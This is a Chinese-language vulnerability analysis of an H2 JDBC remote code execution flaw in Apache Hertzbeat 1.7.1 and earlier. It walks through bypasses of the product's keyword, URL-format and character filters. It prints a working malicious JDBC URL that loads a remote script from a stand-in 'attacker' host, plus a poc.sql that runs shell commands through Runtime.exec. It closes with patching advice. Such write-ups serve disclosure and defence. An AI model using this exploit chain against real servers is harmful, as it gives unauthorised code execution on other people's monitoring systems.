Apache Hertzbeat<=1.7.1 h2 jdbc RCE
字数 1165 2025-09-01 11:26:17
Apache Hertzbeat<=1.7.1 H2 JDBC RCE漏洞分析与利用
漏洞概述
Apache Hertzbeat是一个开源的实时监控系统,在1.7.1及以下版本中存在一个H2 JDBC远程代码执行漏洞。该漏洞源于对H2数据库JDBC连接URL的不当过滤,攻击者可以通过精心构造的JDBC URL绕过安全检测,实现任意代码执行。
环境搭建
使用Docker快速搭建测试环境:
docker run -d -p 1157:1157 -p 1158:1158 --name hertzbeat apache/hertzbeat:1.7.1
访问地址:http://127.0.0.1:1157/
默认凭证:admin/hertzbeat
漏洞原理
H2数据库特性
H2数据库是一个内存数据库,支持通过JDBC URL执行SQL脚本。关键特性包括:
- 支持
RUNSCRIPT FROM语法执行外部SQL文件 - JDBC URL格式灵活,有多种变体
Hertzbeat的防护机制
Hertzbeat实现了三重防护机制:
- 关键字过滤:拦截
runscript from等危险关键词 - URL格式校验:使用正则表达式验证JDBC URL格式
- 特殊字符过滤:过滤空格、制表符等控制字符
绕过技巧
-
关键字绕过:
- 使用
ru\nscript from等换行方式绕过关键词检测
- 使用
-
URL格式绕过:
- 利用Linux与Windows路径解析差异
- 标准H2内存模式URL:
jdbc:h2:mem:testdb - 文件模式URL:
jdbc:h2:file:E:/tmp/testdb - 绕过格式:
jdbc:h2://mem/testdb(在Linux中解析为/mem/testdb)
-
特殊字符绕过:
- 使用不可见字符替代空格(如Unicode字符
\u001C)
- 使用不可见字符替代空格(如Unicode字符
漏洞利用步骤
-
创建自定义监控模板:
- 参考官方代码编写H2类型的JDBC监控模板
-
构造恶意JDBC URL:
jdbc:h2://mem/./testdb;INIT=RUNSCRIPT\u001CFROM\u001C'http://attacker/poc.sql' -
准备恶意SQL文件(poc.sql):
CREATE ALIAS EXEC AS 'void exec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);}'; CALL EXEC('touch /tmp/fushuling'); -
发送请求:
- 通过Hertzbeat界面添加监控时使用构造的JDBC URL
技术细节分析
Linux路径解析特性
- POSIX系统中连续多个斜杠被视为单个斜杠
jdbc:h2://mem/testdb在Linux中被解析为/mem/testdb- H2会尝试在该路径创建数据库文件
不可见字符替代
- 空格可用Unicode控制字符替代,如:
\u001C(文件分隔符)\u001D(组分隔符)\u001E(记录分隔符)\u001F(单元分隔符)
防护建议
- 升级到最新版本
- 加强JDBC URL过滤:
- 严格限制URL协议和格式
- 过滤所有Unicode控制字符
- 限制数据库连接权限
- 实施最小权限原则
总结
该漏洞展示了即使有多重防护机制,仍可能通过精心构造的输入绕过检测。开发人员需要全面考虑各种边界情况和系统特性,才能实现有效的安全防护。